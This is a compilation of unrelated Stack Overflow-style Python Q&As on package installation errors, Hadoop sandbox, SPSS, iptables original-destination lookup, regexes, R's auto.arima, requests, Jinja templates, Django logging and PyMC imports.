I 've try to fix this with the installation of python-mysqldb but they have
also a error ...
> Package python-mysqldb is not available, but is referred to by another
> package. This may mean that the package is missing, has been obsoleted, or
> is only available from another source E: Package 'python-mysqldb' has no
> installation candidate
MySQL-server are already install !
I've try sudo pip install MySQL-python but i have this kind of error
Collecting MySQL-python
Using cached MySQL-python-1.2.5.zip
Complete output from command python setup.py egg_info:
sh: 1: mysql_config: not found
Traceback (most recent call last):
File "<string>", line 20, in <module>
File "/tmp/pip-build-lbb0Fd/MySQL-python/setup.py", line 17, in <module>
metadata, options = get_config()
File "setup_posix.py", line 43, in get_config
libs = mysql_config("libs_r")
File "setup_posix.py", line 25, in mysql_config
raise EnvironmentError("%s not found" % (mysql_config.path,))
EnvironmentError: mysql_config not found
----------------------------------------
Command "python setup.py egg_info" failed with error code 1 in /tmp/pip-build-lbb0Fd/MySQL-python
I don't understand, someone can help me ? ;)
Answer: maybe you can try
pip install MySQL-python
|
Unable to create directory or file in WebHdfs
Question: Hortonworks Sandbox file browser shows WebHdfsException, and in CLI I'm unable
to create directory or file. What is wrong?
WebHdfsException at /filebrowser/
<urlopen error [Errno 111] Connection refused>
Request Method: GET
Request URL: http://127.0.0.1:8000/filebrowser/
Django Version: 1.2.3
Exception Type: WebHdfsException
Exception Value:
<urlopen error [Errno 111] Connection refused>
Exception Location:
/usr/lib/hue/desktop/libs/hadoop/src/hadoop/fs/webhdfs.py in _stats, line 209
Python Executable: /usr/bin/python2.6
Python Version: 2.6.6
Python Path: ['', '/usr/lib/hue/build/env/lib/python2.6/site-packages/setuptools-0.6c11-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/pip-0.6.3-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/Babel-0.9.6-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/BabelDjango-0.2.2-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/Django-1.2.3-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/Mako-0.7.2-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/Markdown-2.0.3-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/MarkupSafe-0.9.3-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/MySQL_python-1.2.3c1-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/Paste-1.7.2-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/PyYAML-3.09-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/Pygments-1.3.1-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/South-0.7-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/Spawning-0.9.6-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/avro-1.5.0-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/configobj-4.6.0-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/django_auth_ldap-1.0.7-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/django_extensions-0.5-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/django_nose-0.5-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/elementtree-1.2.6_20050316-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/enum-0.4.4-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/eventlet-0.9.14-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/greenlet-0.3.1-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/happybase-0.6-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/kerberos-1.1.1-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/lockfile-0.8-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/lxml-2.2.2-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/moxy-1.0.0-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/pam-0.1.3-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/pyOpenSSL-0.13-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/pycrypto-2.6-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/pysqlite-2.5.5-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/python_daemon-1.5.1-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/python_ldap-2.3.13-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/pytidylib-0.2.1-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/sasl-0.1.1-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/sh-1.08-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/simplejson-2.0.9-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/threadframe-0.2-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/thrift-0.9.0-py2.6-linux-x86_64.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/urllib2_kerberos-0.1.6-py2.6.egg', '/usr/lib/hue/build/env/lib/python2.6/site-packages/xlrd-0.9.0-py2.6.egg', '/usr/lib/hue/desktop/core/src', '/usr/lib/hue/desktop/libs/hadoop/src', '/usr/lib/hue/desktop/libs/liboozie/src', '/usr/lib/hue/build/env/lib/python2.6/site-packages', '/usr/lib/hue/apps/about/src', '/usr/lib/hue/apps/beeswax/src', '/usr/lib/hue/apps/filebrowser/src', '/usr/lib/hue/apps/hcatalog/src', '/usr/lib/hue/apps/help/src', '/usr/lib/hue/apps/jobbrowser/src', '/usr/lib/hue/apps/jobsub/src', '/usr/lib/hue/apps/oozie/src', '/usr/lib/hue/apps/pig/src', '/usr/lib/hue/apps/proxy/src', '/usr/lib/hue/apps/shell/src', '/usr/lib/hue/apps/useradmin/src', '/usr/lib/hue/build/env/bin', '/usr/lib64/python2.6', '/usr/lib64/python2.6/plat-linux2', '/usr/lib64/python2.6/lib-dynload', '/usr/lib64/python2.6/site-packages', '/usr/lib/python2.6/site-packages', '/usr/lib/python2.6/site-packages/setuptools-0.6c11-py2.6.egg-info', '/usr/lib/hue/apps/beeswax/gen-py', '/usr/lib/hue', '/usr/lib64/python26.zip', '/usr/lib64/python2.6/lib-tk', '/usr/lib64/python2.6/lib-old', '/usr/lib/python2.6/site-packages/setuptools-0.6c11-py2.6.egg-info', '/usr/lib/python2.6/site-packages/setuptools-0.6c11-py2.6.egg-info', '/usr/lib/hue/apps/beeswax/src/beeswax/../../gen-py', '/usr/lib/hue/apps/jobbrowser/src/jobbrowser/../../gen-py', '/usr/lib/hue/apps/proxy/src/proxy/../../gen-py']
Server time: Sun, 31 May 2015 22:05:23 -0700
Answer: Can you try by reimporting the sandbox again..I solved the issue by deleting
and reimporting it again to VM.
|
How are numeric and string variables determined in SPSS?
Question: So I found this page that explains the different types of variables very well:
<http://www.spss-tutorials.com/spss-variable-types-and-formats/>
I would like to know though, how numeric and string types are differentiated
when I export my data? Are numeric and string mapped to any code?
I would like to parse SPSS data in Python.
Answer: If you take note of the print output generated from the code below, you'll
notice that string variables are "exported" to strings (not surprisingly) and
numeric variables are converted/exported to floats.
Date variables however are also converted to floats, with the date represented
as the number of seconds that have elapsed since October 14, 1582 - this is
the manner in which SPSS stores date variables but within SPSS there are then
[various
formats](http://www-01.ibm.com/support/knowledgecenter/SSLVMB_21.0.0/com.ibm.spss.statistics.help/syn_date_and_time_date_time_formats.htm)
that the date variable can be set to be displayed as (the float value stored
internally of course remains the same).
**Input file variable formats:**
**Input file data view:**
**Code to read SPSS data into Python and print results:**
get file="C:\Program Files\IBM\SPSS\Statistics\23\Samples\English\Employee data.sav".
begin program.
import spss, spssdata
allfiles = spssdata.Spssdata().fetchall()
print "\n".join([str(i) for i in allfiles])
end program.
**Output:**
namedTuple(1.0, u'm ', 11654150400.0, 15.0, 3.0, 57000.0, 27000.0, 98.0, 144.0, 0.0)
namedTuple(2.0, u'm ', 11852956800.0, 16.0, 1.0, 40200.0, 18750.0, 98.0, 36.0, 0.0)
namedTuple(3.0, u'f ', 10943337600.0, 12.0, 1.0, 21450.0, 12000.0, 98.0, 381.0, 0.0)
namedTuple(4.0, u'f ', 11502518400.0, 8.0, 1.0, 21900.0, 13200.0, 98.0, 190.0, 0.0)
namedTuple(5.0, u'm ', 11749363200.0, 15.0, 1.0, 45000.0, 21000.0, 98.0, 138.0, 0.0)
namedTuple(6.0, u'm ', 11860819200.0, 15.0, 1.0, 32100.0, 13500.0, 98.0, 67.0, 0.0)
namedTuple(7.0, u'm ', 11787552000.0, 15.0, 1.0, 36000.0, 18750.0, 98.0, 114.0, 0.0)
namedTuple(8.0, u'f ', 12103948800.0, 12.0, 1.0, 21900.0, 9750.0, 98.0, 0.0, 0.0)
namedTuple(9.0, u'f ', 11463897600.0, 15.0, 1.0, 27900.0, 12750.0, 98.0, 115.0, 0.0)
namedTuple(10.0, u'f ', 11465712000.0, 12.0, 1.0, 24000.0, 13500.0, 98.0, 244.0, 0.0)
namedTuple(11.0, u'f ', 11591424000.0, 16.0, 1.0, 30300.0, 16500.0, 98.0, 143.0, 0.0)
namedTuple(12.0, u'm ', 12094012800.0, 8.0, 1.0, 28350.0, 12000.0, 98.0, 26.0, 1.0)
namedTuple(13.0, u'm ', 11920867200.0, 15.0, 1.0, 27750.0, 14250.0, 98.0, 34.0, 1.0)
namedTuple(14.0, u'f ', 11561529600.0, 15.0, 1.0, 35100.0, 16800.0, 98.0, 137.0, 1.0)
namedTuple(15.0, u'm ', 11987654400.0, 12.0, 1.0, 27300.0, 13500.0, 97.0, 66.0, 0.0)
...
...
|
Python/iptables: Original Destination IP
Question: I'm trying to get original destination information for packets redirected with
iptables (the ultimate goal is to redirect all network traffic to localhost
while retaining the original destination ip).
I'm sending packets using the following code:
import socket
HOST = '192.168.10.1'
PORT = 50007
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(b'whatever')
s.close()
Then redirecting it with:
iptables -t nat -A OUTPUT -d 192.168.10.1 -j DNAT --to 127.0.0.1
And then receiving them with:
import socket
HOST = ''
PORT = 50007
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
while True:
s.listen(5)
conn, addr = s.accept()
print('Connected by', addr)
data = conn.recv(1024)
if(data):
print(data)
conn.close()
I tried using something like
dst = conn.getsockopt(socket.SOL_IP, socket.SO_ORIGINAL_DST, 16)
but this results in
AttributeError: 'module' object has no attribute 'SO_ORIGINAL_DST'
Answer: Some further reading and trying led me to my mistake. I got a little confused
with various approaches I read about and lost track. The clue was in defining
SO_ORIGINAL_DST (in this case for TCP).
This code (taken from
[here](https://github.com/apenwarr/sshuttle/blob/9ce2fa00f94c2f2e5c310abeb1a2907ae7e7a7b0/client.py))
does exactly what I want:
SO_ORIGINAL_DST = 80
sockaddr_in = conn.getsockopt(socket.SOL_IP,
SO_ORIGINAL_DST, 16)
(proto, port, a, b, c, d) = struct.unpack('!HHBBBB', sockaddr_in[:8])
print('Original destination was: %d.%d.%d.%d:%d' % (a, b, c, d, port))
|
how to write such a regular expression in Python
Question: I want to write a python regular expression which match a URL like the
following rules.
1. start with "http://"
2. in the domain part, end with "some.domain"
3. in the path part, exclude end with a list of words like "tar", "zip"
4. the url may contain optional query part, like "?key1=value1&key2=value2"
For example, "<http://some.domain/a.zip>",
"<http://sub.some.domain/a.zip?key=value>" matches this pattern,
"<http://www.other.domain/a.zip>", "<http://www.some.domain/a.zipp>" dose not
match.
Answer: As others have said in the comments, best to use a URL parser as URLs in
particular can vary wildly and you could miss. However, here's one example
that does what I believe you want.
#!/usr/bin/python
import re
strings = [
"http://some.domain/",
"http://some.domain/a.zip",
"http://some.domain/a.tar",
"http://sub.some.domain/a.zip?key=value",
"http://www.other.domain/a.zip",
"http://www.some.domain/a.zipp0"
]
for url in strings:
# match "http://"
# match anything up to "some.domain/", greedy
# match "some.domain/"
# optionally, match anything up to .zip or .tar, greedy
# match ".tar" or ".zip", if above optional is present
# optionally, match a "?" after .zip/.tar, followed by anything, greedy
# match the end of string
if re.search(r'http://.*some\.domain/(.*\.(zip|tar)(\?.*)?)?$', url):
print("url: {} MATCHES".format(url))
else:
print("url: {} DOESN'T MATCH".format(url))
Output:
./url.py
url: http://some.domain/ MATCHES
url: http://some.domain/a.zip MATCHES
url: http://some.domain/a.tar MATCHES
url: http://sub.some.domain/a.zip?key=value MATCHES
url: http://www.other.domain/a.zip DOESN'T MATCH
url: http://www.some.domain/a.zipp0 DOESN'T MATCH
-stevieb
|
How the function auto.arima() in R determines d?
Question: What is the test used in auto.arima() function in R to determine stationarity
i.e to determine the value of "d" Can that logic be implemented in python?
Answer: This [link](https://www.otexts.org/fpp/8/7) says it is determined using
repeated KPSS tests. I see no reason why it couldn't be implemented in Python,
it would just need to be written. Otherwise, you could use
[rpy2](http://rpy.sourceforge.net/rpy2/doc-dev/html/introduction.html) and
just call `auto.arima` from python.
from rpy2 import *
import rpy2.robjects as RO
RO.r('library(forecast)')
# use example WWWusage data
RO.r('fit <- auto.arima(WWWusage)')
|
Script to download website source to a folder
Question: I am trying to learn simple automation. I have set up an Ubuntu Server and I
want to configure it to download html source from a specific URL and append to
a file in a specified folder on the server every 1 minute.
The URL is just basic html with no CSS whatsoever.
I want to use python but admittedly can use any language. What is a good,
simple day to do this?
Answer: Just pip install the requests library.
$ pip install requests
Then, it's super easy to get the HTML (put this in a file called get_html.py,
or whatever name you like):
import requests
req = requests.get('http://docs.python-requests.org/en/latest/user/quickstart/')
print(req.text)
There are a variety of options for saving the HTML to a directory. For
example, you could redirect the output from the above script to a file by
calling it like this:
python get_html.py > file.html
Hope this helps
|
Python Template, checking for variable value type for iteration
Question: Say that I have this dictionary
{"k1":"dog", "k2":"cat", "k3":["Pochi","Wanwan"]}
Now in my template, I'm iterating like so:
{% for key, value in dict.iteritems() %}
<tr>
<td>{{ key }}</td>
<td>{{ value }}</td>
</tr>
{% endfor %}
But I do want to do some additional processing within the tags, is it possible
to check if "value" is of a list or dictionary type? So that instead of just
spitting out the list, I could do things like, say bullet them.
Answer: To check if "value" is of a dictionary type you could do something like
{% for key, value in dict.iteritems() %}
<tr>
<td>{{ key }}</td>
{% if value is mapping %}
"Do something"
{% else %}
<td>{{ value }}</td>
</tr>
{% endfor %}
To check if "value" is of a list type, you could create a custom filter.
[Here's](http://stackoverflow.com/questions/11947325/testing-for-a-list-in-
jinja2) a link you would find useful.
Edit: Here's an example of how you would create a custom filter. First the
function
def is_list(value):
return isinstance(value, list)
Then declare the function as a filter
from flask import Flask
app = Flask(__name__)
....
app.jinja_env.filters['is_list'] = is_list
Then the filter will be available in your template.
|
Django 1.8 Loggers settings are ignored
Question: I'm fighting with django logging since this morning and nothing... I've read
the [documentation](https://docs.djangoproject.com/en/1.8/topics/logging/)
then searched Google and found
[this](http://www.webforefront.com/django/setupdjangologging.html) and
[this](https://www.caktusgroup.com/blog/2015/01/27/Django-Logging-
Configuration-logging_config-default-settings-logger/) and I ended with
something like this:
""" --------------------------------------------------------------------
Django settings for uploader project.
-------------------------------------------------------------------- """
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
import os
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# ----------------------------------------------------------------------
# Loggers
# ----------------------------------------------------------------------
LOGGING_CONFIG = None
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'filters': {
'require_debug_false': {
'()': 'django.utils.log.RequireDebugFalse',
},
'require_debug_true': {
'()': 'django.utils.log.RequireDebugTrue',
},
},
'formatters': {
'simple': {
'format': '[%(asctime)s] %(levelname)s %(message)s',
'datefmt': '%Y/%m/%d %H:%M:%S',
},
'verbose': {
'format': '[%(asctime)s] %(levelname)s [%(name)s.%(funcName)s.%(lineno)d] %(message)s',
'datefmt': '%Y/%m/%d %H:%M:%S',
},
},
'handlers': {
'console': {
'level': 'DEBUG',
'filters': ['require_debug_true'],
'class': 'logging.StreamHandler',
'formatter': 'simple',
},
'development_log': {
'level': 'DEBUG',
'filters': ['require_debug_true'],
'class': 'logging.FileHandler',
'filename': os.path.join(BASE_DIR, 'logs/development.log'),
'formatter': 'verbose',
},
'production_log': {
'level': 'ERROR',
'filters': ['require_debug_false'],
'class': 'logging.FileHandler',
'filename': os.path.join(BASE_DIR, 'logs/production.log'),
'formatter': 'simple',
},
},
'loggers': {
'uploader': {
'handlers': ['console', 'development_log', 'production_log'],
},
'django': {
'handlers': ['console', 'development_log', 'production_log'],
},
'py.warnings': {
'handlers': ['console', 'development_log'],
},
},
}
import logging.config
logging.config.dictConfig(LOGGING)
and this how I log my own data:
import logging
from django.shortcuts import render
from django.http import HttpResponse, HttpResponseRedirect
from django.core.urlresolvers import reverse
from .models import MFile
from .forms import MFileForm
# ----------------------------------------------------------------------
def upload(request):
logger = logging.getLogger(__name__)
template = 'main/index.html'
logger.debug('Executing upload() view')
[...]
Files `development.log` and `production.log` are created but they're are empty
and console shows standard logging output like:
Performing system checks...
System check identified no issues (0 silenced).
June 01, 2015 - 20:39:23
Django version 1.8.2, using settings 'uploader.settings'
Starting development server at http://127.0.0.1:8000/
Quit the server with CONTROL-C.
[01/Jun/2015 20:39:29]"GET / HTTP/1.0" 200 2195
[01/Jun/2015 20:40:03]"POST /upload HTTP/1.0" 302 0
[01/Jun/2015 20:40:03]"GET / HTTP/1.0" 200 2195
so am I misunderstanding something or django ignores those settings ?
Everything is run under virtualenv from python 3 which was created with
python3 -m venv --without-pip venv
source venv/bin/activate
wget https://bootstrap.pypa.io/get-pip.py
python get-pip.py
pip install -r requirements.txt
and the requirements.txt:
Django==1.8.2
flake8==2.4.1
gunicorn==19.3.0
mccabe==0.3
pep8==1.5.7
Pillow==2.8.1
pyflakes==0.8.1
wheel==0.24.0
Answer: It looks like you are missing logger for your app name itself under `loggers`.
If your project name is `django_project` then change the following:
'loggers': {
'uploader': {
'handlers': ['console', 'development_log', 'production_log'],
},
to:
'loggers': {
'uploader': {
'handlers': ['console', 'development_log', 'production_log'],
},
'django_project': {
'handlers': ['console', 'development_log', 'production_log'],
},
[....]
I usually create an "applogger" as a `dict` instance for quick access before
this section.
applogger = {
'handlers': ['console', 'development_log', 'production_log'],
'level': 'DEBUG',
'propagate': True,
}
And then finally modify the `loggers` section into something as follows:
'loggers': {
'uploader': {
'handlers': ['console', 'development_log', 'production_log'],
},
'django_project': applogger,
'app_name_1': applogger,
[....]
|
Ipython Notebook: Error in importing module
Question: I am trying to import kabuki module. I installed the module in the terminal
using easy_installation and everything seems in order. But when I import it in
IPython notebook, I get the following error:
ImportError: dlopen(/Applications/anaconda/lib/python2.7/site-packages/pymc-2.3.3-py2.7-macosx-10.9-x86_64.egg/pymc/flib.so, 2): Library not loaded: /usr/local/Cellar/gfortran/4.8.2/gfortran/lib/libgfortran.3.dylib
Referenced from: /Applications/anaconda/lib/python2.7/site-packages/pymc-2.3.3-py2.7-macosx-10.9-x86_64.egg/pymc/flib.so
Reason: image not found
Can anyone help me and tell me how to fix this? I am using mac OS X.
ImportError Traceback (most recent call last)
<ipython-input-3-045d55581b72> in <module>()
----> 1 import kabuki
/Applications/anaconda/lib/python2.7/site-packages/kabuki-0.5.5-py2.7.egg/kabuki/__init__.py in <module>()
----> 1 from hierarchical import *
2
3 import utils
4 import analyze
5 import step_methods as steps
/Applications/anaconda/lib/python2.7/site-packages/kabuki-0.5.5-py2.7.egg/kabuki/hierarchical.py in <module>()
11
12 import pandas as pd
---> 13 import pymc as pm
14 import warnings
15
/Applications/anaconda/lib/python2.7/site-packages/pymc-2.3.3-py2.7-macosx-10.9-x86_64.egg/pymc/__init__.pyc in <module>()
28 from .PyMCObjects import *
29 from .InstantiationDecorators import *
---> 30 from .CommonDeterministics import *
31 from .NumpyDeterministics import *
32 from .distributions import *
/Applications/anaconda/lib/python2.7/site-packages/pymc-2.3.3-py2.7-macosx-10.9-x86_64.egg/pymc/CommonDeterministics.py in <module>()
19 import inspect
20 import types
---> 21 from .utils import safe_len, stukel_logit, stukel_invlogit, logit, invlogit, value, find_element
22 from copy import copy
23 import sys
/Applications/anaconda/lib/python2.7/site-packages/pymc-2.3.3-py2.7-macosx-10.9-x86_64.egg/pymc/utils.py in <module>()
12 from copy import copy
13 from .PyMCObjects import Variable
---> 14 from . import flib
15 import pdb
16 from numpy.linalg.linalg import LinAlgError
Also I am trying to import module hddm and it gives me the following error:
ImportError Traceback (most recent call last)
<ipython-input-5-17365318b31c> in <module>()
----> 1 import hddm
/Applications/anaconda/lib/python2.7/site-packages/HDDM-0.5.5-py2.7-macosx-10.5-x86_64.egg/hddm/__init__.py in <module>()
5 __version__ = '0.5.5'
6
----> 7 import likelihoods
8 import generate
9 import utils
/Applications/anaconda/lib/python2.7/site-packages/HDDM-0.5.5-py2.7-macosx-10.5-x86_64.egg/hddm/likelihoods.py in <module>()
1 from __future__ import division
----> 2 import pymc as pm
3 import numpy as np
4 from scipy import stats
5
/Applications/anaconda/lib/python2.7/site-packages/pymc-2.3.3-py2.7-macosx-10.9-x86_64.egg/pymc/__init__.pyc in <module>()
28 from .PyMCObjects import *
29 from .InstantiationDecorators import *
---> 30 from .CommonDeterministics import *
31 from .NumpyDeterministics import *
32 from .distributions import *
/Applications/anaconda/lib/python2.7/site-packages/pymc-2.3.3-py2.7-macosx-10.9-x86_64.egg/pymc/CommonDeterministics.py in <module>()
11 __docformat__ = 'reStructuredText'
12
---> 13 from . import PyMCObjects as pm
14 from .Node import Variable
15 from .Container import Container
ImportError: cannot import name PyMCObjects
Answer: As the error message says and [the install documentation hinted](https://pymc-
devs.github.io/pymc/INSTALL.html#dependencies), you need Fortran library if
you compile PyMC from source. In this case, it's looking for [gfortran
library](https://gcc.gnu.org/wiki/GFortranBinariesMacOS).
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.